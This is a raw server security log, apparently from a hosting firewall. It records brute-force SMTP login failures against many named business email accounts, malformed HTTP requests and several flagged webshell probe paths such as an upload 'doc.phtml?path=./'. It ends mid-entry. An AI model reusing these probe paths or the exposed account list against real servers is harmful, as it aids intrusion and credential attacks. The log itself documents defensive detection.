2026-02-01 10:18:56 dovecot_login authenticator failed for H=([36.135.92.35]) [36.135.92.36]:55046: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.153.174.132
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=45591531898096 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-02-01 10:18:01 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:51408: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:18:16 dovecot_login authenticator failed for H=(65mrNv3) [178.16.54.22]:53234: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.6.103.246
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82021516691258 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.196.27.230
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=40821514530295 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.129.138.198
country_id: 1814991
description:
2026-02-01 10:18:42 dovecot_login authenticator failed for H=([150.129.138.198]) [150.129.138.198]:53347: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:19:46 dovecot_login authenticator failed for H=(wodON42EZn) [178.16.54.22]:61588: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:19:18 dovecot_login authenticator failed for H=(xGK2QTQD) [178.16.54.22]:58472: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.243.174
country_id: 732800
description:
2026-02-01 10:19:19 dovecot_plain authenticator failed for H=(legan) [92.62.243.174]:40753: 535 Incorrect authentication data (set_id=marina@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.113.155.132
country_id: 690791
description:
2026-02-01 10:19:37 dovecot_plain authenticator failed for H=(aremigness) [176.113.155.132]:58876: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:20:07 dovecot_login authenticator failed for H=(2SSaAxAIL) [178.16.54.22]:57578: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.152.233.205
country_id: 3996063
domain: www.mkmetal.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mkmetal.com.my/ferrous.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:20:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43330: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.117.4
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=80521523525867 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-02-01 10:21:14 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:60835: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:21:11 dovecot_login authenticator failed for H=(1aZJYIci) [178.16.54.22]:57261: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.42.202
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=44981514942908 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.187.101
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=96 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 10:21:03 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:49640: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.91.84.153
country_id: 3437598
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=83971515464163 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.121.165.43
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=75651516002433 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.31.138
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20771515745061 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.186.130.89
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=77 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.52.43.67
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=10091518079822 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.233.33.136
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=32961515570632 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.166.8.174
country_id: 1814991
description:
2026-02-01 10:22:46 dovecot_login authenticator failed for H=([60.166.8.174]) [60.166.8.174]:36492: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:22:03 dovecot_login authenticator failed for H=(GGxD9xu9C) [178.16.54.22]:51545: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.126.223.221
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=46351515983516 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.62.162
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27001516783287 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.204.11
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82641515377202 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.208.155.82
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=47 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:22:23 dovecot_login authenticator failed for H=(unJrOsG) [178.16.54.22]:54159: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-02-01 10:22:32 dovecot_login authenticator failed for H=([125.61.36.22]) [125.61.36.22]:39465: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:23:06 dovecot_login authenticator failed for H=(4DDUmMv) [178.16.54.22]:60731: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.48.142.243
country_id: 1819730
description:
2026-02-01 10:23:30 dovecot_login authenticator failed for H=243.142.48.116.static.netvigator.com [116.48.142.243]:50237: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.222.56
country_id: 2017370
description:
2026-02-01 10:23:32 dovecot_login authenticator failed for H=([178.178.222.56]) [178.178.222.56]:46200: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:23:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54192: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.119.56.26
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=186475 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 10:23:16 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:43548: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.13.99.66
country_id: 1814991
description:
2026-02-01 10:24:00 dovecot_login authenticator failed for H=([210.13.99.68]) [210.13.99.66]:2059: 535 Incorrect authentication data (set_id=aziz)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.132.69
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=96651515046321 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 10:24:56 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:40254: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.184.120.187
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=14031515117438 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.228.62.6
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=12911528706670 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.225.195.191
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=66031514882640 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:24:53 dovecot_login authenticator failed for H=(Alt8NZwc) [178.16.54.22]:64067: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.204.68.249
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=38131516939270 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-02-01 10:24:34 dovecot_login authenticator failed for H=([121.185.89.74]) [121.185.89.74]:39336: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.37.153.152
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=25261515046843 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.183.18.137
country_id: 1668284
description:
2026-02-01 10:24:48 dovecot_login authenticator failed for H=([175.183.18.137]) [175.183.18.137]:57616: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:24:15 dovecot_login authenticator failed for H=(JIAFJzZ) [178.16.54.22]:54663: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.166.153.41
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=48061516937912 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.16.11.212
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27031516696051 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:25:06 dovecot_login authenticator failed for H=(pvefJjJm) [178.16.54.22]:57742: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:25:15 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:49788: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/monthly-report.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.0.228.11
country_id: 1269750
description:
2026-02-01 10:25:45 dovecot_login authenticator failed for H=([61.0.228.11]) [61.0.228.11]:42524: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.216.172.182
country_id: 3469034
description:
2026-02-01 10:26:01 dovecot_login authenticator failed for H=([200.216.172.182]) [200.216.172.182]:36088: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.136
country_id: 2017370
description:
2026-02-01 10:25:58 dovecot_login authenticator failed for H=([178.178.194.136]) [178.178.194.136]:36730: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.104
country_id: 1269750
description:
2026-02-01 10:25:08 dovecot_login authenticator failed for H=(nsg-corporate-104.230.187.122.airtel.in) [122.187.230.104]:45934: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.111.247.114
country_id: 1269750
description:
2026-02-01 10:25:41 dovecot_login authenticator failed for H=([203.145.142.243]) [115.111.247.114]:58664: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.196.155.135
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=51 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.108.234.203
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=95261514886253 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:26:21 dovecot_login authenticator failed for H=(GFf2G87uc) [178.16.54.22]:53557: 535 Incorrect authentication data (set_id=daniel@mckd.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:27:20 dovecot_login authenticator failed for H=(6kledH7cGw) [178.16.54.22]:52134: 535 Incorrect authentication data (set_id=teng)


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 35.92.247.131
country_id: 6252001
domain: vatsecurity.com.my
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/3OZZSS1XcWoCltquKp2-AHxAg8b-NXhix__V4ulLP5s||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:27:13 dovecot_login authenticator failed for H=(7N6fXn) [178.16.54.22]:57454: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:27:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47934: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 10:28:47 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:44884: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:28:14 dovecot_login authenticator failed for H=(rqJ0HwTHl) [178.16.54.22]:53800: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 10:28:46 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:44608: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.159.71.249
country_id: 1835841
description:
2026-02-01 10:28:57 dovecot_login authenticator failed for H=([121.159.71.249]) [121.159.71.249]:35700: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.2
country_id: 1814991
description:
2026-02-01 10:28:09 dovecot_login authenticator failed for H=([111.61.177.2]) [111.61.177.2]:65420: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:29:30 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55520: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 10:29:33 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:60346: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.167.209.175
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=58 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.150.240.164
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=32501518079664 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 192.42.116.177
country_id: 2750405
domain: ds-staffing.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/upload/doc.phtml?path=./||SC:/home2/dsstaffing/public_html/upload||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 81.17.28.95
country_id: 2658434
domain: ds-staffing.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/uploads/doc.phtml?path=./||SC:/home2/dsstaffing/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-02-01 10:29:44 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:46412: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 10:29:23 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:52287: 535 Incorrect authentication data


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.185.58.241
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=30591532150592 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:29:02 dovecot_login authenticator failed for H=(6P9KMfSh) [178.16.54.22]:56743: 535 Incorrect authentication data (set_id=felioit@feliogroup.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 10:29:11 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:43856: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.148.248
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97931522745831 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:29:37 dovecot_login authenticator failed for H=(86WNygasgm) [178.16.54.22]:65344: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.198.128.124
country_id: 1835841
description:
2026-02-01 10:29:52 dovecot_login authenticator failed for H=([211.198.128.124]) [211.198.128.124]:44285: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-02-01 10:29:53 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:56601: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.103.219.73
country_id: 2589581
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=74&page=3 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.78.255.19
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=64&page=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.243.172.254
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=41861515569513 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.2.123.19
country_id: 1562822
description:
2026-02-01 10:30:06 dovecot_login authenticator failed for H=(dynamic-ip-adsl.viettel.vn) [117.2.123.19]:60074: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:30:21 dovecot_login authenticator failed for H=(JxcdYeU51) [178.16.54.22]:61824: 535 Incorrect authentication data (set_id=teng)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.255.40.169
country_id: 1168579
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/fish/222/28228 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:31:22 dovecot_login authenticator failed for H=(AzPeMDBJ) [178.16.54.22]:57700: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:31:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35572: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-02-01 10:31:55 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:47903: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 10:32:15 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:43480: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:32:18 dovecot_login authenticator failed for H=(xWpqsSdkC) [178.16.54.22]:51337: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 10:32:27 dovecot_login authenticator failed for H=(XF7pP1zq) [178.16.54.22]:59742: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 10:33:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50382: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
